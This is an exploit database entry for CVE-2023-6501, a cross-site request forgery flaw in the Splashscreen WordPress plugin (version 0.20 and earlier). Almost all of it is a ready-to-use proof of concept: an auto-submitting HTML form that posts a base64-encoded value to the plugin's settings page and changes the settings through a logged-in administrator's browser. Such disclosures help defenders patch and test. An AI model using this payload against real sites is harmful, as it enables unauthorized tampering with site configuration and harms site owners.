Exploit for Splashscreen <= 0.20 - Settings Update via CSRF CVE-2023-6501

## https://sploitus.com/exploit?id=WPEX-ID:DD19189B-DE04-44B6-8AC9-0C32399A8976
<form action="https://example.com/wp-admin/options-general.php?page=splashscreen.php" method="POST">
    <input type="text" name="splashscreen_type" value="dGVtcGxhdGUuaHRt">
    <input type="text" name="splashscreen_excludedpaths" value="">
    <input type="text" name="splashscreen_submit" value="Update">
</form>
<script>
    document.forms[0].submit();
</script>